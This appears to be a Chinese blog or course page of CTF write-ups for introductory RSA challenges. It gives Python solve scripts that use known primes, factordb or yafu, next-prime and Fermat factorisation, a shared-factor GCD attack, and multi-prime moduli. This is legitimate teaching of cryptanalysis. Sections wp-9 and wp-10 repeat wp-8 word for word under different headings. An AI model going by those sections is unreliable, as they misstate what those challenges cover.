&lt;li&gt;在同余的情况下中，你可以将所有的操作都看作是整数的四则运算，不用关心运算过程中的取模，同理在做题时，如果涉及到要自己推式子，都可以按此操作，只需要记得最后取模即可。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-1&lt;/h1&gt;
&lt;p&gt;本题便是使用Python实现的一个RSA加密算法，按照在课件中所说的，我们的关键得到&lt;code&gt;phi&lt;/code&gt;，而本题则直接将$ p $和$ q $打印了出来，则我们可以直接得到&lt;code&gt;phi&lt;/code&gt;，从而求解逆元得到私钥&lt;code&gt;d&lt;/code&gt;，解密原消息，得到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
p = 10554915510546378513140074459658086644656654144905337809416976066414771647836950941616441505897207397834928781511863699153349798682451297889979721668885951
q = 8246403321715011123191410826902524505032643184038566851264109473851746507405534573077909160292816825514872584170252311902322051822644609979417178306809223
e = 65537
c = 40005881669517895877352756665523238535105922590962714344556374248977905431683140065629966778249773228248201807844489945346731806741025157651474530811920115794270396320935022110691338083709019538562205165553541077855422953438117902279834449006455379382431883650004540282758907332683496655914597029545677184720

n=p*q
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意flag是一个字符串，而我们解密得到的是数字，我们需要使用包中的&lt;code&gt;long_to_bytes&lt;/code&gt;函数将数字转化回字符串。&lt;/p&gt;
&lt;h1&gt;WP-2&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;和上一题的代码几乎一样，但是本题没有告诉我们$ p $和$ q $的值，那我们如何得到$ phi $呢。&lt;/p&gt;
&lt;p&gt;当题目没有给出除了&lt;strong&gt;公钥&lt;/strong&gt;之外的任何信息中，我们便考虑是否$ n $是否可直接分解，因为$ n=p\cdot q $，若我们能够成功进行分解便可以求得$ phi $从而得到私钥。&lt;/p&gt;
&lt;p&gt;这里我们使用&lt;a href=&quot;http://factordb.com&quot;&gt;&lt;code&gt;factordb&lt;/code&gt;&lt;/a&gt;来进行分解，该网站存储了大量的因数关系，我们将n提交至该网站，便可以得到结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.nssctf.cn/files/2023/4/2/84ee697517.jpg&quot; alt=&quot;NSSIMAGE&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样，我们成功将$ n $分解成了两个因子，即$ p $和$ q $（谁是$ p $谁是$ q $的问题大部分情况下我们并不需要关注）。然后便可以写出解密代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
n = 7382582015733895208810490097582153009797420348201515356767397357174775587237553842395468027650317457503579404097373070312978350435795210286224491315941881
p = 70538125404512947763739093348083497980212021962975762144416432920656660487657
q = 104660876276442216612517835199819767034152013287345576481899196023866133215633
e = 65537
c = 6511001389892474870028836129813814173158254564777610289284056550272120510686249909340499673868720839756059423749304765055919251717618117507007046973023557

n=p*q
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-3&lt;/h1&gt;
&lt;p&gt;我们依然可以尝试使用factordb来分解本题中的$ n $，但是会发现没有得到结果（大部分情况都是得不到的），此时我们观察题目，$ p $和$ q $是两个128位的素数，这个数相比之前我们生成的256或是512素数来说几乎是0（位数多一位，值增加两倍）。&lt;/p&gt;
&lt;p&gt;对于这种不算太大的素数，我们可以尝试使用一些工具来分解这个数。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;yafu&lt;/code&gt;便是这样一种工具，它内置了各种分解算法，能够对不太大或者一些特殊情况下的数进行因式分解。&lt;/p&gt;
&lt;p&gt;下载地址：https://sourceforge.net/projects/yafu/&lt;/p&gt;
&lt;p&gt;下载解压后目录下会有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yafu
yafu-Win32.exe
yafu-x64.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分别是&lt;code&gt;yafu&lt;/code&gt;的linux、Windows32位和Windows64位版本。我这里将使用&lt;code&gt;yafu-x64.exe&lt;/code&gt;进行操作。&lt;/p&gt;
&lt;p&gt;我们在当前目录下进入终端（Windows按住Shift+鼠标右键 - 在此处打开Powershell窗口）&lt;/p&gt;
&lt;p&gt;输出&lt;code&gt;.\yafu-x64.exe&lt;/code&gt;并按回车运行，然后输入&lt;code&gt;factor(xxx)&lt;/code&gt;，xxx是你想分解的输入，例如对于本题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.nssctf.cn/files/2023/4/2/3e3446a2fb.jpg&quot; alt=&quot;NSSIMAGE&quot; /&gt;&lt;/p&gt;
&lt;p&gt;稍作等待，便可以得到分解结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.nssctf.cn/files/2023/4/2/5d9cbb30dc.jpg&quot; alt=&quot;NSSIMAGE&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到一共花费了&lt;code&gt;64&lt;/code&gt;秒完成了对这个数的分解，上面的其他输出则是yafu采用的分解算法以及参数等内容。&lt;/p&gt;
&lt;p&gt;得到了$ p $和$ q $的值我们便可以写出解密代码了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
n = 53690629441472827148854210396580805205350972614395425306316047967905824330731
p = 193584665240506752994134779660255197091
q = 277349599849597463956171076348973750041
e = 65537
c = 22130296334673852790451396673112575082637108306697684532954477845025885087040

n=p*q
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;WP-4&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题包含了之前我们还没接触的另一个包gmpy2
该包默认编译版本为linux，故在Windows不要用pip直接安装
访问https://github.com/aleaxit/gmpy/releases下载相应版本，&lt;code&gt;cp36&lt;/code&gt;代表Pythone3.6，x86代表Windows64位，其他同理。
&lt;img src=&quot;https://www.nssctf.cn/files/2023/4/2/6c5f0c1be1.jpg&quot; alt=&quot;NSSIMAGE&quot; /&gt;
下载完成后在文件目录下打开终端，输入 &lt;code&gt;pip3 install gmpy2-2.xx-cpxx-xxxxxx.whl&lt;/code&gt;，其中 &lt;code&gt;gmpy2-2.xx-xxx&lt;/code&gt;是你下载的完整文件名，即可安装成功。
该库也是一个数学工具库，且底层使用C编写，执行效率相比Python实现会快很多。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;题目生成了一个512位的素数$ p $，随后使用 &lt;code&gt;next_prime&lt;/code&gt;函数获取$ p $的下一个素数作为$ q $，然后再做RSA算法，本题素数都比较大，我们没办法直接分解这个素数。但是我们发现$ p $和$ q $之间似乎有一些联系，&lt;strong&gt;他们太接近了&lt;/strong&gt;，素数在自然数中其实没那么少，我们可以进行测试:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
import gmpy2
p = getPrime(512)
q = gmpy2.next_prime(p)
print(q-p)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你会发现大部分情况下二者的差值都小于1000，那么有这层关系我们如何解题呢。考虑$ n $的算术平方根为$ sn = \sqrt{n} $，同时$ sn $也是$ p $和$ q $的几何平均值。此时则有
$$
p &amp;lt; sn &amp;lt; q
$$&lt;/p&gt;
&lt;p&gt;我们又有$ q,p $是相邻的素数，$ p $的下一个素数为$ q $，同理也有$ sn $的下一个素数也应该是$ q $，到这里你或许应该知道我们该怎么操作了。但是如何编写代码求平方根呢，这里我们借助 &lt;code&gt;gmpy2&lt;/code&gt;中的 &lt;code&gt;isqrt&lt;/code&gt;函数，在后续我们更多的会使用gmpy2而不是Crypto中的数学函数（因为二者速度不是一个量级）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sn = isqrt(n)
q = next_prime(sn)
p = n // q
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意除的时候需要用整除。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
p = getPrime(512)
q = gmpy2.next_prime(p)

n = 115637000420176820831322601039129424406844427046456738651883381559357542765613732363445112111006849040385859313572091386802534464534403117787314180179562651607533039692795522388596550968316951090748054495960090527479954143448774136390568881020918710834542819900918984139672802889774720153267841255456602500057
e = 65537
c = 98161406745910866780822530171878255235776133393411573803496865047700715941955255328757920065032397556905095591171977170479344602512244671081108703687450560269408412671849929423399172588599903975793985819498354819305128607934552101433664794909855378636055525016664559476808490723554481335856183927702549281730

sn = isqrt(n)
q = next_prime(sn)
p = n // q

phi = (p-1)*(q-1)
d = invert(e, phi)

m = pow(c, d, n)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-5&lt;/h1&gt;
&lt;p&gt;题目生成了一个512位的素数$ p $，随后使用&lt;code&gt;next_prime&lt;/code&gt;函数获取$ p-r $的下一个素数作为$ q $，其中$ r $为一个随机的256位素数，然后再做RSA算法，我们可以认为$ p $和$ q $依然是两个比较接近的数（因为$ r $的大小在$ p $和$ q $面前不值一提），但如果想和上一题一样便不能了，因为当我们求解$ sn = \sqrt(n) $后，$ q $不再是$ sn $相邻的素数，而是查找达到$ r $，也就是说我们可以在$ r $的范围内找到$ q $，但对于我们来说256位是一个不小的数，我们显然不能一一开始遍历进行判断，在这种情况下，我们需要一种更加通用的算法&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;费马分解：&lt;/strong&gt; 有&lt;/p&gt;
&lt;p&gt;$$
\frac{(p+q)^2}{4} - n = \frac{(p+q)^2}{4} - pq = \frac{(p-q)^2}{4}
$$&lt;/p&gt;
&lt;p&gt;既然$ p-q $比较小，则说明$ (p-q)^2/4 $也比较小，则说明$ (p+q)^2/4 $和$ n $也差不多大，所以$ (p+q)/2 $应该和$ \sqrt{n} $差不多大，那么我们可以&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;遍历大于$ \sqrt{n} $的每一个整数$ x $，若满足$ x^2-n $为平方数，即$ x^2-n = y^2 $，则有$ x^2 = (p+q)^2/4,y^2 = (p-q)^2/4 $&lt;/li&gt;
&lt;li&gt;解上述式子，即可得到$ p,q $。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通俗一点来说，当$ (p+q)/2 $和$ sn $接近时，我们便可以用此方法分解$ n $，那么如何判断是否接近呢，其实本质就是两个值的算术平均值和几何平均值，俩个值越接近，其二种平均值也越接近，所以当$ p $和$ q $比较接近时，我们便可以利用费马分解方法。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

def fermat_attack(n):
    a = isqrt(n)
    b2 = a*a - n
    b = isqrt(n)
    count = 0
    while b*b != b2:
        a = a + 1
        b2 = a*a - n
        b = isqrt(b2)
        count += 1
    p = a+b
    q = a-b
    assert n == p * q
    return p, q

n = 148841588941490812589697505975986386226158446072049530534135525236572105309550985274214825612079495930267744452266230141871521931612761645600600201983605957650711248808703757693378777706453580124982526368706977258199152469200838211055230241296139605912607613807871432800586045262879581100319519318390454452117
e = 65537
c = 69038543593219231496623016705860610154255535760819426453485115089535439537440188692852514795648297200067103841434646958466720891016026061658602312900242658759575613625726750416539176437174502082858413122020981274672260498423684555063381678387696096811975800995242962853092582362805345713900308205654744774932

p, q = fermat_attack(n)
phi = (p-1)*(q-1)
d = invert(e, phi)

m = pow(c, d, n)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;wp-6&lt;/h1&gt;
&lt;p&gt;本题生成了三个素数$ p1,p2, q $，且有$ n1=p1&lt;em&gt;q,n2=p2&lt;/em&gt;q $，我们可以看作是两组公钥（虽然他们使用了相同的$ e $），然后用这两种公钥都对flag进行了RSA加密。&lt;/p&gt;
&lt;p&gt;我们会发现$ n1 $和$ n2 $包含相同的因子$ q $，即这是这二者的公因子，又因为$ n1,n2 $每个数都只有两个因子，则$ q $还是二者的最大公因数，我们可以使用&lt;code&gt;GCD&lt;/code&gt;或&lt;code&gt;gmpy2&lt;/code&gt;包中的&lt;code&gt;gcd&lt;/code&gt;函数进行求解。&lt;/p&gt;
&lt;p&gt;当我们得到了$ q $，便可以用整除$ n1,n2 $得到剩下的因子，但是因为二者都对flag进行了加密，我们只需要解密任意一个值即可，不过值得注意的是，若是使用$ n1 $的加密值，则需要用$ p1 $和$ q $，以及取模时要模$ n1 $，不要混淆了各个数字。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

n1 = 143348646254804947818644803938588739009782265465565896704788366218178523508874903492905378927641178487821742289009401873633609987818871281146199303052141439575438691652893995423962176259643151111739185844059243400387734688275416379337335777994990138009973618431459431410429980866760075387393812720247541406893
n2 = 138110854441015362783564250048191029327770295545362614687087481715680856350219966472039006526758450117969049316234863489558254565946242898336924686721846675826468588471046162610143748100096038583426519355288325214365299329095841907207926280081868726568947436076663762493891291276498567791697978693639037765169
e = 65537
c1 = 54957154834913405861345262613986460384513988240935244315981524013378872930144117440787175357956479768211180412158274730449811947349624843965933828130932856052315165316154486515277625404352272475136003785605985702495858150662789554694910771308456687676791434476722168247882078861234982509648037033827107552029
c2 = 122221335585005390437769701090707585780333874638519916373585594040154234166935881089609641995190534396533473702495240511296379249872039728112248708182969185010334637138777948970821974238214641235158623707766980447918480715835847907220219601467702961667091318910582445444058108454023108157805147341928089334736

q = gcd(n1, n2)
p1 = n1 // q
phi = (p1-1)*(q-1)
d = invert(e, phi)

m = pow(c1, d, n1)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;wp-7&lt;/h1&gt;
&lt;p&gt;本题为RSA一种变式情况，在本题中，$ n $由三个素数因子构成，给出参数以及加密值，需要我们进行解密，在常规的RSA中有&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = \varphi(p)\varphi(q) = (p-1)(q-1)
$$&lt;/p&gt;
&lt;p&gt;是否在本题中有&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = \varphi(p)\varphi(q)\varphi(r) = (p-1)(q-1)(r-1)
$$&lt;/p&gt;
&lt;p&gt;呢？答案是肯定的，其实如果有&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = p_1p_2p_3...
$$&lt;/p&gt;
&lt;p&gt;我们还可以推广得到&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = \varphi(p_1)\varphi(p_2)\varphi(p_3)... = (p_1-1)(p_2-1)(p_3-1)...
$$&lt;/p&gt;
&lt;p&gt;至于为什么？请见课件中对欧拉函数的介绍&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

p = 10666139331774428325755287635566473140804481321882464031499529816800186578792308674238646794969384836340484775213796013129603472328582005363876462361316357
q = 8419311673449738061914489023962717718536471719688567807316495262754711350004888752049108347226115000749280146228195893953964759818878155006622123533942989
r = 12875078327453384158245832541544758526474680184252540739652077682353277702054275525591573258723948221345537075374635382175740236093131628077747126356403959
e = 65537
c = 424552463648937499189041230155623101311087334789253159440707211761796081289342164253743235182597460622581134089949035117444838205449163269030784233435435681797627188717450074808905561404960693227573181548281296514743775615606388692910356320667720308219275107443303501165027740512539959960217657836317351146520079753390346207659007421416917274795119021374032194294225350901136669304225010974617136606299060486198480556729770211945777266366417547752798441211059402

n=p*q*r
phi = (p-1)*(q-1)*(r-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过至于本题为何要添加上大量的字符1作为填充内容，这个问题待到P9时我们便会知晓。&lt;/p&gt;
&lt;h1&gt;wp-8&lt;/h1&gt;
&lt;p&gt;本题为RSA一种变式情况，在本题中，$ n=p^3q $
是否在本题中有&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = \varphi(p^3)\varphi(q) = (p-1)^3(q-1)
$$&lt;/p&gt;
&lt;p&gt;呢？答案是&lt;strong&gt;否定&lt;/strong&gt;的，这个式子只对了一半，$ \varphi(n) = \varphi(p^3)\varphi(q) $正确，但$ \varphi(p^3) $应该为$ p^2(p-1) $&lt;/p&gt;
&lt;p&gt;可尝试自行对这个公式进行推到，详见课件中对欧拉函数的介绍&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

p = 80505091208742938705306670241621545375764148093711243653439069254008824979403
q = 67599990875658931406915486208971556223245451500927259766683936131876689508521
e = 65537
c = 7958690969908064264211283192959937430539613460471121984649054121171267262097603091410178042319139582772142226087020110084551158367679146616732446561228522673699836019156243452069036383047309578614662564794584927846163157472211089368697387945469398750955336949678910159585015004994620777231073804301249774041

n = (p**3)*q
phi = (p**2)*(p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过至于本题为何要添加上大量的字符1作为填充内容，这个问题待到P9时我们便会知晓。&lt;/p&gt;
&lt;h1&gt;wp-9&lt;/h1&gt;
&lt;p&gt;本题为RSA一种变式情况，在本题中，$ n=p^3q $
是否在本题中有&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = \varphi(p^3)\varphi(q) = (p-1)^3(q-1)
$$&lt;/p&gt;
&lt;p&gt;呢？答案是&lt;strong&gt;否定&lt;/strong&gt;的，这个式子只对了一半，$ \varphi(n) = \varphi(p^3)\varphi(q) $正确，但$ \varphi(p^3) $应该为$ p^2(p-1) $&lt;/p&gt;
&lt;p&gt;可尝试自行对这个公式进行推到，详见课件中对欧拉函数的介绍&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

p = 80505091208742938705306670241621545375764148093711243653439069254008824979403
q = 67599990875658931406915486208971556223245451500927259766683936131876689508521
e = 65537
c = 7958690969908064264211283192959937430539613460471121984649054121171267262097603091410178042319139582772142226087020110084551158367679146616732446561228522673699836019156243452069036383047309578614662564794584927846163157472211089368697387945469398750955336949678910159585015004994620777231073804301249774041

n = (p**3)*q
phi = (p**2)*(p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过至于本题为何要添加上大量的字符1作为填充内容，这个问题待到P9时我们便会知晓。&lt;/p&gt;
&lt;h1&gt;wp-10&lt;/h1&gt;
&lt;p&gt;本题为RSA一种变式情况，在本题中，$ n=p^3q $
是否在本题中有&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = \varphi(p^3)\varphi(q) = (p-1)^3(q-1)
$$&lt;/p&gt;
&lt;p&gt;呢？答案是&lt;strong&gt;否定&lt;/strong&gt;的，这个式子只对了一半，$ \varphi(n) = \varphi(p^3)\varphi(q) $正确，但$ \varphi(p^3) $应该为$ p^2(p-1) $&lt;/p&gt;
&lt;p&gt;可尝试自行对这个公式进行推到，详见课件中对欧拉函数的介绍&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

p = 80505091208742938705306670241621545375764148093711243653439069254008824979403
q = 67599990875658931406915486208971556223245451500927259766683936131876689508521
e = 65537
c = 7958690969908064264211283192959937430539613460471121984649054121171267262097603091410178042319139582772142226087020110084551158367679146616732446561228522673699836019156243452069036383047309578614662564794584927846163157472211089368697387945469398750955336949678910159585015004994620777231073804301249774041

n = (p**3)*q
phi = (p**2)*(p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过至于本题为何要添加上大量的字符1作为填充内容，这个问题待到P9时我们便会知晓。&lt;/p&gt;
</content:encoded></item></channel></rss>